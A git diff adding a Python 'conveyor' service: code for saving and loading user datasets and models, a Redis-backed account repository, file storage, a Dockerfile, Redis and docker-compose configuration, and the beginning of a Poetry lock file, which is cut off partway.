+ raise KeyError("no dataset with such name exists") + + try: + with self.files.open_read(dataset.file_id) as f: + df = pd.read_feather(f) + except Exception as err: + self.logger.error( + "unexpectedly failed to read dataframe from file", + file_id=dataset.file_id, + name=dataset.name, + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + return DataFrame(df) + + def save_model(self, model: Model, name: str, description: str): + """ + Save model with specified name. + This call requires authentication. + """ + + if self.account_id is None: + raise UNAUTHENTICATED_ERROR + elif len(name.encode()) > config.MAX_DATA_LEN: + raise ValueError( + f"model name should not be longer than {config.MAX_DATA_LEN} bytes" + ) + elif len(description.encode()) > config.MAX_DATA_LEN: + raise ValueError( + f"model description should not be longer than {config.MAX_DATA_LEN} bytes" + ) + + name = str(name) + description = str(description) + file_id = uuid4() + + model.name = name + model.description = description + + try: + with self.files.open_write(file_id) as f: + model.save(f) + except Exception as err: + self.logger.error( + "unexpectedly failed to save model to file", + file_id=str(file_id), + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + try: + self.repository.save_model( + self.account_id, storage.Model(name=name, file_id=file_id) + ) + except Exception as err: + self.logger.error( + "unexpectedly failed to save model info to repository", + file_id=str(file_id), + name=name, + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + self.logger.info("saved new model", file_id=str(file_id), name=name) + + def list_models(self) -> list[str]: + """ + Return names of saved models. + This call requires authentication. + """ + + if self.account_id is None: + raise UNAUTHENTICATED_ERROR + + try: + models = self.repository.list_models(self.account_id) + except Exception as err: + self.logger.error( + "unexpectedly failed to list models in repository", + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + return [m.name for m in models] + + def load_model(self, name: str) -> Model: + """ + Load model with the specified name. + This call requires authentication. + """ + + if self.account_id is None: + raise UNAUTHENTICATED_ERROR + + name = str(name) + + try: + model_info = self.repository.get_model(self.account_id, name) + except Exception as err: + self.logger.error( + "unexpectedly failed to get model from repository", + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + if model_info is None: + raise KeyError("no model with such name exists") + + try: + with self.files.open_read(model_info.file_id) as f: + model = Model.load(f) + except Exception as err: + self.logger.error( + "unexpectedly failed to read dataframe from file", + file_id=model_info.file_id, + name=model_info.name, + error=str(err), + stack_info=True, + ) + raise UNEXPECTED_ERROR + + return model + + def __logger_with_account_id(self): + self.logger = self.logger.bind(account_id=str(self.account_id)) + + @staticmethod + def __encode_access_key(access_key: bytes) -> str: + return b85encode(access_key).decode() + + @staticmethod + def __decode_access_key(access_key: str) -> bytes: + return b85decode(access_key) diff --git a/services/conveyor/conveyor/storage.py b/services/conveyor/conveyor/storage.py new file mode 100644 index 0000000..99bb989 --- /dev/null +++ b/services/conveyor/conveyor/storage.py @@ -0,0 +1,179 @@ +from dataclasses import dataclass +from pathlib import Path +from typing import Optional, cast +from uuid import UUID + +import redis + + +@dataclass +class DataSet: + name: str + description: str + file_id: UUID + + +@dataclass +class Model: + name: str + file_id: UUID + + +class RedisRepository: + def __init__(self, redis_url: str, ttl_seconds: int): + self.ttl = ttl_seconds + self.redis = cast( + redis.Redis, + redis.Redis.from_url(redis_url, protocol=3, decode_responses=True), + ) + self.redis.ping() + + def close(self): + self.redis.close() + + def save_account_creds(self, account_id: UUID, access_key: bytes) -> bool: + """ + Returns true if access_key wasn't previously bound to any account_id. + """ + + result = self.redis.set( + RedisRepository.__credentials_key(access_key), + str(account_id), + ex=self.ttl, + nx=True, + ) + + return result == True + + def authenticate_by_creds(self, access_key: bytes) -> Optional[UUID]: + """ + Returns the parsed account ID associated with this access_key, or None. + """ + + account_id = cast( + Optional[str], self.redis.get(RedisRepository.__credentials_key(access_key)) + ) + if account_id is None: + return None + + return UUID(hex=account_id) + + def save_dataset(self, account_id: UUID, dataset: DataSet): + """ + Saves the dataset entry for the specified account. + """ + + key = RedisRepository.__datasets_key(account_id) + + pl = self.redis.pipeline(transaction=True) + pl.hset( + key, + dataset.name, + RedisRepository.__encode_dataset(dataset), + ) + pl.expire(key, self.ttl) + pl.execute() + + def list_datasets(self, account_id: UUID) -> list[DataSet]: + """ + List datasets saved for the specified account. + """ + + result = cast( + dict[str, str], + self.redis.hgetall(RedisRepository.__datasets_key(account_id)), + ) + + return [ + RedisRepository.__decode_dataset(name, value) + for name, value in result.items() + ] + + def get_dataset(self, account_id: UUID, name: str) -> Optional[DataSet]: + """ + Returns the dataset entry saved for the specified account with such name, or None. + """ + + result = cast( + Optional[str], + self.redis.hget(RedisRepository.__datasets_key(account_id), name), + ) + if result is None: + return None + + return RedisRepository.__decode_dataset(name, result) + + def save_model(self, account_id: UUID, model: Model): + """ + Saves the model entry for the specified account. + """ + + key = RedisRepository.__models_key(account_id) + + pl = self.redis.pipeline(transaction=True) + pl.hset(key, model.name, str(model.file_id)) + pl.expire(key, self.ttl) + pl.execute() + + def list_models(self, account_id: UUID) -> list[Model]: + """ + List models saved for the specified account. + """ + + result = cast( + dict[str, str], self.redis.hgetall(RedisRepository.__models_key(account_id)) + ) + + return [Model(name=name, file_id=UUID(value)) for name, value in result.items()] + + def get_model(self, account_id: UUID, name: str) -> Optional[Model]: + """ + Returns the model entry saved for the specified account with such name, or None. + """ + + result = cast( + Optional[str], + self.redis.hget(RedisRepository.__models_key(account_id), name), + ) + if result is None: + return None + + return Model(name=name, file_id=UUID(result)) + + @staticmethod + def __credentials_key(key: bytes) -> str: + return f"credentials:{key.hex()}" + + @staticmethod + def __datasets_key(account_id: UUID) -> str: + return f"datasets:{account_id}" + + @staticmethod + def __models_key(account_id: UUID) -> str: + return f"models:{account_id}" + + @staticmethod + def __encode_dataset(dataset: DataSet) -> str: + return f"{dataset.file_id}\n{dataset.description}" + + @staticmethod + def __decode_dataset(name: str, value: str) -> DataSet: + file_id_str, description = value.split("\n", maxsplit=1) + file_id = UUID(hex=file_id_str) + + return DataSet(name=name, file_id=file_id, description=description) + + +class FileStorage: + def __init__(self, dir: Path): + self.dir = dir + self.dir.mkdir(parents=True, exist_ok=True) + + def open_read(self, file_id: UUID): + return open(self.__build_path(file_id), "rb") + + def open_write(self, file_id: UUID): + return open(self.__build_path(file_id), "wb") + + def __build_path(self, file_id: UUID) -> Path: + return self.dir.joinpath(str(file_id)) diff --git a/services/conveyor/deploy/Dockerfile b/services/conveyor/deploy/Dockerfile new file mode 100644 index 0000000..6bc5472 --- /dev/null +++ b/services/conveyor/deploy/Dockerfile @@ -0,0 +1,33 @@ +FROM python:3.11.7-slim-bookworm + +ENV \ + PYTHONUNBUFFERED=1 \ + PIP_DISABLE_PIP_VERSION_CHECK=on \ + PIP_DEFAULT_TIMEOUT=100 \ + POETRY_VIRTUALENVS_CREATE=false +WORKDIR /conveyor + +RUN \ + --mount=type=cache,target=/root/.cache/pip \ + pip install -U pip setuptools && \ + pip install poetry==1.7.1 + +COPY pyproject.toml poetry.lock . +RUN \ + --mount=type=cache,target=/root/.cache/pip \ + --mount=type=cache,target=/root/.cache/pypoetry \ + poetry install --no-root --no-interaction --no-ansi + +COPY conveyor/*.py ./conveyor/ +COPY scripts/*.py ./scripts/ +RUN \ + --mount=type=cache,target=/root/.cache/pip \ + --mount=type=cache,target=/root/.cache/pypoetry \ + poetry install --no-interaction --no-ansi + +RUN mkdir ./data && \ + chmod -R 444 . && \ + chmod 555 . ./conveyor ./scripts && \ + chmod 777 ./data +USER nobody +CMD ["poetry", "run", "conveyor-server"] diff --git a/services/conveyor/deploy/redis.conf b/services/conveyor/deploy/redis.conf new file mode 100644 index 0000000..ebd120e --- /dev/null +++ b/services/conveyor/deploy/redis.conf @@ -0,0 +1,4 @@ +timeout 300 +save 300 10 120 100 60 1000 +appendonly yes +user default on nopass -@all +PING +MULTI +EXEC +EXPIRE +EXPIREAT +PEXPIRE +PEXPIREAT +SET +GET +HSET +HGET +HGETALL ~* diff --git a/services/conveyor/docker-compose.yml b/services/conveyor/docker-compose.yml new file mode 100644 index 0000000..d772575 --- /dev/null +++ b/services/conveyor/docker-compose.yml @@ -0,0 +1,51 @@ +services: + conveyor: + build: + context: . + dockerfile: ./deploy/Dockerfile + cpus: 2 + mem_limit: 2G + pids_limit: 512 + volumes: + - conveyor-data:/conveyor/data + environment: + CONVEYOR_LISTEN_PORT: 12378 + CONVEYOR_REDIS_URL: redis://redis:6379 + CONVEYOR_DATA_DIR: /conveyor/data + CONVEYOR_DATA_TTL: P0DT0H30M0S + ports: + - 12378:12378 + depends_on: + redis: + condition: service_healthy + restart: unless-stopped + cleaner: + image: c4tbuts4d/dedcleaner:latest + cpus: 1 + mem_limit: 128M + pids_limit: 128 + volumes: + - conveyor-data:/data + environment: + DELETE_AFTER: 30m + SLEEP: 5m + DIRS: /data + restart: unless-stopped + redis: + image: redis:7.2.4-alpine3.19 + cpus: 2 + mem_limit: 512M + pids_limit: 512 + volumes: + - ./deploy/redis.conf:/usr/local/etc/redis/redis.conf:ro + - redis-data:/data + command: + - /usr/local/etc/redis/redis.conf + healthcheck: + test: redis-cli ping + interval: 5s + timeout: 3s + restart: unless-stopped +volumes: + conveyor-data: + redis-data: diff --git a/services/conveyor/poetry.lock b/services/conveyor/poetry.lock new file mode 100644 index 0000000..3379b9c --- /dev/null +++ b/services/conveyor/poetry.lock @@ -0,0 +1,908 @@ +# This file is automatically @generated by Poetry 1.7.1 and should not be changed by hand. + +[[package]] +name = "annotated-types" +version = "0.6.0" +description = "Reusable constraint types to use with typing.Annotated" +optional = false +python-versions = ">=3.8" +files = [ + {file = "annotated_types-0.6.0-py3-none-any.whl", hash = "sha256:0641064de18ba7a25dee8f96403ebc39113d0cb953a01429249d5c7564666a43"}, + {file = "annotated_types-0.6.0.tar.gz", hash = "sha256:563339e807e53ffd9c267e99fc6d9ea23eb8443c08f112651963e24e22f84a5d"}, +] + +[[package]] +name = "async-timeout" +version = "4.0.3" +description = "Timeout context manager for asyncio programs" +optional = false +python-versions = ">=3.7" +files = [ + {file = "async-timeout-4.0.3.tar.gz", hash = "sha256:4640d96be84d82d02ed59ea2b7105a0f7b33abe8703703cd0ab0bf87c427522f"}, + {file = "async_timeout-4.0.3-py3-none-any.whl", hash = "sha256:7405140ff1230c310e51dc27b3145b9092d659ce68ff733fb0cefe3ee42be028"}, +] + +[[package]] +name = "hiredis" +version = "2.3.2" +description = "Python wrapper for hiredis" +optional = false +python-versions = ">=3.7" +files = [ + {file = "hiredis-2.3.2-cp310-cp310-macosx_10_15_universal2.whl", hash = "sha256:742093f33d374098aa21c1696ac6e4874b52658c870513a297a89265a4d08fe5"}, + {file = "hiredis-2.3.2-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:9e14fb70ca4f7efa924f508975199353bf653f452e4ef0a1e47549e208f943d7"}, + {file = "hiredis-2.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6d7302b4b17fcc1cc727ce84ded7f6be4655701e8d58744f73b09cb9ed2b13df"}, + {file = "hiredis-2.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ed63e8b75c193c5e5a8288d9d7b011da076cc314fafc3bfd59ec1d8a750d48c8"}, + {file = "hiredis-2.3.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6b4edee59dc089bc3948f4f6fba309f51aa2ccce63902364900aa0a553a85e97"}, + {file = "hiredis-2.3.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a6481c3b7673a86276220140456c2a6fbfe8d1fb5c613b4728293c8634134824"}, + {file = "hiredis-2.3.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:684840b014ce83541a087fcf2d48227196576f56ae3e944d4dfe14c0a3e0ccb7"}, + {file = "hiredis-2.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1c4c0bcf786f0eac9593367b6279e9b89534e008edbf116dcd0de956524702c8"}, + {file = "hiredis-2.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:66ab949424ac6504d823cba45c4c4854af5c59306a1531edb43b4dd22e17c102"}, + {file = "hiredis-2.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:322c668ee1c12d6c5750a4b1057e6b4feee2a75b3d25d630922a463cfe5e7478"}, + {file = "hiredis-2.3.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:bfa73e3f163c6e8b2ec26f22285d717a5f77ab2120c97a2605d8f48b26950dac"}, + {file = "hiredis-2.3.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:7f39f28ffc65de577c3bc0c7615f149e35bc927802a0f56e612db9b530f316f9"}, + {file = "hiredis-2.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:55ce31bf4711da879b96d511208efb65a6165da4ba91cb3a96d86d5a8d9d23e6"}, + {file = "hiredis-2.3.2-cp310-cp310-win32.whl", hash = "sha256:3dd63d0bbbe75797b743f35d37a4cca7ca7ba35423a0de742ae2985752f20c6d"}, + {file = "hiredis-2.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:ea002656a8d974daaf6089863ab0a306962c8b715db6b10879f98b781a2a5bf5"}, + {file = "hiredis-2.3.2-cp311-cp311-macosx_10_15_universal2.whl", hash = "sha256:adfbf2e9c38b77d0db2fb32c3bdaea638fa76b4e75847283cd707521ad2475ef"}, + {file = "hiredis-2.3.2-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:80b02d27864ebaf9b153d4b99015342382eeaed651f5591ce6f07e840307c56d"}, + {file = "hiredis-2.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:bd40d2e2f82a483de0d0a6dfd8c3895a02e55e5c9949610ecbded18188fd0a56"}, + {file = "hiredis-2.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfa904045d7cebfb0f01dad51352551cce1d873d7c3f80c7ded7d42f8cac8f89"}, + {file = "hiredis-2.3.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:28bd184b33e0dd6d65816c16521a4ba1ffbe9ff07d66873c42ea4049a62fed83"}, + {file = "hiredis-2.3.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f70481213373d44614148f0f2e38e7905be3f021902ae5167289413196de4ba4"}, + {file = "hiredis-2.3.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8797b528c1ff81eef06713623562b36db3dafa106b59f83a6468df788ff0d1"}, + {file = "hiredis-2.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:02fc71c8333586871602db4774d3a3e403b4ccf6446dc4603ec12df563127cee"}, + {file = "hiredis-2.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0da56915bda1e0a49157191b54d3e27689b70960f0685fdd5c415dacdee2fbed"}, + {file = "hiredis-2.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e2674a5a3168349435b08fa0b82998ed2536eb9acccf7087efe26e4cd088a525"}, + {file = "hiredis-2.3.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:dc1c3fd49930494a67dcec37d0558d99d84eca8eb3f03b17198424538f2608d7"}, + {file = "hiredis-2.3.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:14c7b43205e515f538a9defb4e411e0f0576caaeeda76bb9993ed505486f7562"}, + {file = "hiredis-2.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7bac7e02915b970c3723a7a7c5df4ba7a11a3426d2a3f181e041aa506a1ff028"}, + {file = "hiredis-2.3.2-cp311-cp311-win32.whl", hash = "sha256:63a090761ddc3c1f7db5e67aa4e247b4b3bb9890080bdcdadd1b5200b8b89ac4"}, + {file = "hiredis-2.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:70d226ab0306a5b8d408235cabe51d4bf3554c9e8a72d53ce0b3c5c84cf78881"}, + {file = "hiredis-2.3.2-cp312-cp312-macosx_10_15_universal2.whl", hash = "sha256:5c614552c6bd1d0d907f448f75550f6b24fb56cbfce80c094908b7990cad9702"}, + {file = "hiredis-2.3.2-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:9c431431abf55b64347ddc8df68b3ef840269cb0aa5bc2d26ad9506eb4b1b866"}, + {file = "hiredis-2.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a45857e87e9d2b005e81ddac9d815a33efd26ec67032c366629f023fe64fb415"}, + {file = "hiredis-2.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e138d141ec5a6ec800b6d01ddc3e5561ce1c940215e0eb9960876bfde7186aae"}, + {file = "hiredis-2.3.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:387f655444d912a963ab68abf64bf6e178a13c8e4aa945cb27388fd01a02e6f1"}, + {file = "hiredis-2.3.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4852f4bf88f0e2d9bdf91279892f5740ed22ae368335a37a52b92a5c88691140"}, + {file = "hiredis-2.3.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d711c107e83117129b7f8bd08e9820c43ceec6204fff072a001fd82f6d13db9f"}, + {file = "hiredis-2.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:92830c16885f29163e1c2da1f3c1edb226df1210ec7e8711aaabba3dd0d5470a"}, + {file = "hiredis-2.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:16b01d9ceae265d4ab9547be0cd628ecaff14b3360357a9d30c029e5ae8b7e7f"}, + {file = "hiredis-2.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:5986fb5f380169270a0293bebebd95466a1c85010b4f1afc2727e4d17c452512"}, + {file = "hiredis-2.3.2-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:49532d7939cc51f8e99efc326090c54acf5437ed88b9c904cc8015b3c4eda9c9"}, + {file = "hiredis-2.3.2-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:8f34801b251ca43ad70691fb08b606a2e55f06b9c9fb1fc18fd9402b19d70f7b"}, + {file = "hiredis-2.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:7298562a49d95570ab1c7fc4051e72824c6a80e907993a21a41ba204223e7334"}, + {file = "hiredis-2.3.2-cp312-cp312-win32.whl", hash = "sha256:e1d86b75de787481b04d112067a4033e1ecfda2a060e50318a74e4e1c9b2948c"}, + {file = "hiredis-2.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:6dbfe1887ffa5cf3030451a56a8f965a9da2fa82b7149357752b67a335a05fc6"}, + {file = "hiredis-2.3.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:4fc242e9da4af48714199216eb535b61e8f8d66552c8819e33fc7806bd465a09"}, + {file = "hiredis-2.3.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e81aa4e9a1fcf604c8c4b51aa5d258e195a6ba81efe1da82dea3204443eba01c"}, + {file = "hiredis-2.3.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:419780f8583ddb544ffa86f9d44a7fcc183cd826101af4e5ffe535b6765f5f6b"}, + {file = "hiredis-2.3.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6871306d8b98a15e53a5f289ec1106a3a1d43e7ab6f4d785f95fcef9a7bd9504"}, + {file = "hiredis-2.3.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88cb0b35b63717ef1e41d62f4f8717166f7c6245064957907cfe177cc144357c"}, + {file = "hiredis-2.3.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c490191fa1218851f8a80c5a21a05a6f680ac5aebc2e688b71cbfe592f8fec6"}, + {file = "hiredis-2.3.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:4baf4b579b108062e91bd2a991dc98b9dc3dc06e6288db2d98895eea8acbac22"}, + {file = "hiredis-2.3.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:e627d8ef5e100556e09fb44c9571a432b10e11596d3c4043500080ca9944a91a"}, + {file = "hiredis-2.3.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:ba3dc0af0def8c21ce7d903c59ea1e8ec4cb073f25ece9edaec7f92a286cd219"}, + {file = "hiredis-2.3.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:56e9b7d6051688ca94e68c0c8a54a243f8db841911b683cedf89a29d4de91509"}, + {file = "hiredis-2.3.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:380e029bb4b1d34cf560fcc8950bf6b57c2ef0c9c8b7c7ac20b7c524a730fadd"}, + {file = "hiredis-2.3.2-cp37-cp37m-win32.whl", hash = "sha256:948d9f2ca7841794dd9b204644963a4bcd69ced4e959b0d4ecf1b8ce994a6daa"}, + {file = "hiredis-2.3.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cfa67afe2269b2d203cd1389c00c5bc35a287cd57860441fb0e53b371ea6a029"}, + {file = "hiredis-2.3.2-cp38-cp38-macosx_10_15_universal2.whl", hash = "sha256:bcbe47da0aebc00a7cfe3ebdcff0373b86ce2b1856251c003e3d69c9db44b5a7"}, + {file = "hiredis-2.3.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:f2c9c0d910dd3f7df92f0638e7f65d8edd7f442203caf89c62fc79f11b0b73f8"}, + {file = "hiredis-2.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:01b6c24c0840ac7afafbc4db236fd55f56a9a0919a215c25a238f051781f4772"}, + {file = "hiredis-2.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1f567489f422d40c21e53212a73bef4638d9f21043848150f8544ef1f3a6ad1"}, + {file = "hiredis-2.3.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:28adecb308293e705e44087a1c2d557a816f032430d8a2a9bb7873902a1c6d48"}, + {file = "hiredis-2.3.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:27e9619847e9dc70b14b1ad2d0fb4889e7ca18996585c3463cff6c951fd6b10b"}, + {file = "hiredis-2.3.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9a0026cfbf29f07649b0e34509091a2a6016ff8844b127de150efce1c3aff60b"}, + {file = "hiredis-2.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f9de7586522e5da6bee83c9cf0dcccac0857a43249cb4d721a2e312d98a684d1"}, + {file = "hiredis-2.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e58494f282215fc461b06709e9a195a24c12ba09570f25bdf9efb036acc05101"}, + {file = "hiredis-2.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:de3a32b4b76d46f1eb42b24a918d51d8ca52411a381748196241d59a895f7c5c"}, + {file = "hiredis-2.3.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:1979334ccab21a49c544cd1b8d784ffb2747f99a51cb0bd0976eebb517628382"}, + {file = "hiredis-2.3.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:0c0773266e1c38a06e7593bd08870ac1503f5f0ce0f5c63f2b4134b090b5d6a4"}, + {file = "hiredis-2.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:bd1cee053416183adcc8e6134704c46c60c3f66b8faaf9e65bf76191ca59a2f7"}, + {file = "hiredis-2.3.2-cp38-cp38-win32.whl", hash = "sha256:5341ce3d01ef3c7418a72e370bf028c7aeb16895e79e115fe4c954fff990489e"}, + {file = "hiredis-2.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:8fc7197ff33047ce43a67851ccf190acb5b05c52fd4a001bb55766358f04da68"}, + {file = "hiredis-2.3.2-cp39-cp39-macosx_10_15_universal2.whl", hash = "sha256:f47775e27388b58ce52f4f972f80e45b13c65113e9e6b6bf60148f893871dc9b"}, + {file = "hiredis-2.3.2-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:9412a06b8a8e09abd6313d96864b6d7713c6003a365995a5c70cfb9209df1570"}, + {file = "hiredis-2.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3020b60e3fc96d08c2a9b011f1c2e2a6bdcc09cb55df93c509b88be5cb791df"}, + {file = "hiredis-2.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:53d0f2c59bce399b8010a21bc779b4f8c32d0f582b2284ac8c98dc7578b27bc4"}, + {file = "hiredis-2.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:57c0d0c7e308ed5280a4900d4468bbfec51f0e1b4cde1deae7d4e639bc6b7766"}, + {file = "hiredis-2.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1d63318ca189fddc7e75f6a4af8eae9c0545863619fb38cfba5f43e81280b286"}, + {file = "hiredis-2.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e741ffe4e2db78a1b9dd6e5d29678ce37fbaaf65dfe132e5b82a794413302ef1"}, + {file = "hiredis-2.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eb98038ccd368e0d88bd92ee575c58cfaf33e77f788c36b2a89a84ee1936dc6b"}, + {file = "hiredis-2.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:eae62ed60d53b3561148bcd8c2383e430af38c0deab9f2dd15f8874888ffd26f"}, + {file = "hiredis-2.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:ca33c175c1cf60222d9c6d01c38fc17ec3a484f32294af781de30226b003e00f"}, + {file = "hiredis-2.3.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:0c5f6972d2bdee3cd301d5c5438e31195cf1cabf6fd9274491674d4ceb46914d"}, + {file = "hiredis-2.3.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:a6b54dabfaa5dbaa92f796f0c32819b4636e66aa8e9106c3d421624bd2a2d676"}, + {file = "hiredis-2.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:e96cd35df012a17c87ae276196ea8f215e77d6eeca90709eb03999e2d5e3fd8a"}, + {file = "hiredis-2.3.2-cp39-cp39-win32.whl", hash = "sha256:63b99b5ea9fe4f21469fb06a16ca5244307678636f11917359e3223aaeca0b67"}, + {file = "hiredis-2.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:a50c8af811b35b8a43b1590cf890b61ff2233225257a3cad32f43b3ec7ff1b9f"}, + {file = "hiredis-2.3.2-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7e8bf4444b09419b77ce671088db9f875b26720b5872d97778e2545cd87dba4a"}, + {file = "hiredis-2.3.2-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5bd42d0d45ea47a2f96babd82a659fbc60612ab9423a68e4a8191e538b85542a"}, + {file = "hiredis-2.3.2-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:80441b55edbef868e2563842f5030982b04349408396e5ac2b32025fb06b5212"}, + {file = "hiredis-2.3.2-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ec444ab8f27562a363672d6a7372bc0700a1bdc9764563c57c5f9efa0e592b5f"}, + {file = "hiredis-2.3.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f9f606e810858207d4b4287b4ef0dc622c2aa469548bf02b59dcc616f134f811"}, + {file = "hiredis-2.3.2-pp37-pypy37_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c3dde4ca00fe9eee3b76209711f1941bb86db42b8a75d7f2249ff9dfc026ab0e"}, + {file = "hiredis-2.3.2-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4dd676107a1d3c724a56a9d9db38166ad4cf44f924ee701414751bd18a784a0"}, + {file = "hiredis-2.3.2-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce42649e2676ad783186264d5ffc788a7612ecd7f9effb62d51c30d413a3eefe"}, + {file = "hiredis-2.3.2-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8e3f8b1733078ac663dad57e20060e16389a60ab542f18a97931f3a2a2dd64a4"}, + {file = "hiredis-2.3.2-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:532a84a82156a82529ec401d1c25d677c6543c791e54a263aa139541c363995f"}, + {file = "hiredis-2.3.2-pp38-pypy38_pp73-macosx_10_15_x86_64.whl", hash = "sha256:4d59f88c4daa36b8c38e59ac7bffed6f5d7f68eaccad471484bf587b28ccc478"}, + {file = 